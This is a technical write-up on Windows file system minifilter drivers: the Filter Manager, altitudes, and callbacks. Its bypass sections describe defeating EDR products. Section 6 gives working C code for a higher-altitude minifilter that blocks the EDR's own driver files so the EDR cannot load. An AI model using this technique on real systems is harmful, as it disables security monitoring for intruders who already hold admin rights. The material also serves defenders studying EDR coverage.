Written by bonziski — https://github.com/Yannis-Zribi
CONTENTS
0 the need — monitoring file system access
1 legacy filters — the old way
2 minifilters — the modern architecture
3 altitude and load order
4 pre-operation and post-operation routines
5 bypass — altitude sickness
6 bypass — byom and edr file blacklisting
7 minifilter skeleton (code)
8 limitations
──[ 0. The Need — Monitoring File System Access ]──
File system access (create, read, write, delete) is one of the richest sources
of telemetry for security products. Ransomware shows up in write patterns; data
exfil shows up in read patterns; persistence mechanisms touch specific
registry-adjacent files.
A few approaches exist to monitor I/O:
Windows event logs (EVTX) — high latency, lossy, can't block
Hooking I/O functions — fragile, breaks under any patching
File system filter drivers — the right, supported way
──[ 1. Legacy Filters — The Old Way ]──
First generation of file system monitors: Legacy Filters. They attached straight
to the I/O Request Packet (IRP) chain, slotting themselves between the I/O
Manager and the file system driver.
Problems with legacy filters:
- Filters fight for position in the chain (who goes first?)
- Each filter has to forward the IRP to the next — bugs cause
deadlocks, missed completions, double-completions
- No central authority; Microsoft can't audit or police the chain
──[ 2. Minifilters — The Modern Architecture ]──
Microsoft replaced legacy filters with the minifilter model and added a central
manager: the Filter Manager.
The Filter Manager:
- Takes all IRPs and dispatches them to registered minifilters
- Enforces ordering via altitude values
- Owns the minifilter lifecycle (load / unload)
- Provides helper APIs (FltGetFileNameInformation, etc.)
Minifilters only implement callbacks for the operations they care about. The
Filter Manager handles the routing.
──[ 3. Altitude and Load Order ]──
Each minifilter has a static altitude (a decimal number). Higher altitude =
called earlier on the way down, later on the way up.
Altitude ranges define driver categories:
420000–429999 FSFilter Activity Monitor
400000–409999 FSFilter Undelete
320000–329999 FSFilter Anti-Virus
260000–269999 FSFilter Replication
...
The Filter Manager guarantees:
- Two minifilters can't share an altitude
- Altitude defines both load order and call order
Inspect currently loaded minifilters:
fltmc
──[ 4. Pre-Op and Post-Op Routines ]──
Each minifilter registers two optional callbacks per operation type:
Pre-operation (PreXxx)
Called before the IRP reaches the file system driver.
Can inspect, modify, redirect, or block the request.
Return values:
FLT_PREOP_SUCCESS_WITH_CALLBACK — pass on, call post-op later
FLT_PREOP_SUCCESS_NO_CALLBACK — pass on, skip post-op
FLT_PREOP_COMPLETE — complete the IRP now
Post-operation (PostXxx)
Called after the file system driver has processed the IRP.
Can inspect or modify the result.
Called in reverse altitude order (lowest first on the way back).
──[ 5. Bypass — Altitude Sickness ]──
Only one minifilter can hold a given altitude. If your minifilter loads first at
the same altitude as the EDR's minifilter, the EDR's fails to load.
In practice, very hard:
1. You have to know the EDR's exact altitude, which might be dynamic
— some EDRs use a fixed integer part (for the load-order group)
but compute the decimal at boot, so prediction is impossible.
2. EDRs like Windows Defender monitor FltRegisterFilter calls and
actively block registrations at their own altitude (WdFilter).
3. Even if you succeed, the EDR will likely catch the failed load
and raise an alert.
The technique exists and has been shown in controlled environments, rarely
practical in the real world.
──[ 6. Bypass — BYOM and EDR File Blacklisting ]──
More actionable: register your own minifilter at a higher altitude than the
EDR's, intercept IRP_MJ_CREATE, and deny access to the EDR's .sys file (and any
other file it needs to load from disk).
If the minifilter driver file can't be opened, it can't be loaded.
Pre-create callback skeleton:
FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
_Inout_ PFLT_CALLBACK_DATA Data,
_In_ PCFLT_RELATED_OBJECTS FltObjects,
_Outptr_ PVOID *CompletionContext)
{
// Only handle IRP_MJ_CREATE
if (Data->Iopb->MajorFunction != IRP_MJ_CREATE)
return FLT_PREOP_SUCCESS_NO_CALLBACK;
// Retrieve the target file name
PFLT_FILE_NAME_INFORMATION info;
if (!NT_SUCCESS(FltGetFileNameInformation(
Data,
FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT,
&info)))
return FLT_PREOP_SUCCESS_NO_CALLBACK;
// Compare against blacklist
for (ULONG i = 0; i < BLOCKED_COUNT; i++) {
if (RtlSuffixUnicodeString(&BlockedFiles[i],
&info->Name, TRUE)) {
Data->IoStatus.Status = STATUS_ACCESS_DENIED;
FltReleaseFileNameInformation(info);
return FLT_PREOP_COMPLETE; // block the open
}
}
FltReleaseFileNameInformation(info);
return FLT_PREOP_SUCCESS_NO_CALLBACK;
}
Blacklist definition:
UNICODE_STRING BlockedFiles[] = {
RTL_CONSTANT_STRING(L"edr_minifilter.sys"),
RTL_CONSTANT_STRING(L"edr_core.sys"),
};
#define BLOCKED_COUNT (sizeof(BlockedFiles) / sizeof(UNICODE_STRING))
After loading this minifilter via a .inf file and rebooting, the EDR's driver
files can't be opened, so the EDR can't load.
──[ 7. Minifilter Skeleton (Code) ]──
Minimal compilable minifilter:
#include <fltKernel.h>
PFLT_FILTER gFilterHandle;
FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
_Inout_ PFLT_CALLBACK_DATA Data,
_In_ PCFLT_RELATED_OBJECTS FltObjects,
_Outptr_result_maybenull_ PVOID *CompletionContext)
{
UNREFERENCED_PARAMETER(FltObjects);
UNREFERENCED_PARAMETER(CompletionContext);
// ... custom logic here
return FLT_PREOP_SUCCESS_NO_CALLBACK;
}
CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
{ IRP_MJ_CREATE, 0, PreCreateCallback, NULL },
{ IRP_MJ_OPERATION_END }
};
NTSTATUS FilterUnload(_In_ FLT_FILTER_UNLOAD_FLAGS Flags) {
UNREFERENCED_PARAMETER(Flags);
FltUnregisterFilter(gFilterHandle);
return STATUS_SUCCESS;
}
CONST FLT_REGISTRATION FilterReg = {
sizeof(FLT_REGISTRATION), FLT_REGISTRATION_VERSION,
0, NULL, Callbacks, FilterUnload,
NULL, NULL, NULL, NULL, NULL, NULL, NULL
};
NTSTATUS DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
NTSTATUS s = FltRegisterFilter(DriverObject, &FilterReg,
&gFilterHandle);
if (!NT_SUCCESS(s)) return s;
return FltStartFiltering(gFilterHandle);
}
Manual uninstall:
fltmc unload <FilterName>
sc delete <FilterName>
del C:\Windows\System32\drivers\<FilterName>.sys
──[ 8. Limitations ]──
Every minifilter-based bypass shares the same constraints:
- Admin required — listing, creating, modifying minifilters all need
local admin or SYSTEM. These attacks only matter once you're
already deeply in.
- EDRs watch minifilter registration — registering a new minifilter
or modifying altitude values is itself a high-confidence detection
signal that many EDRs alert and block on.
- Not all EDRs use minifilters — some use other file-interception
mechanisms. Still worth knowing minifilters to understand what
coverage a given EDR has over file system operations.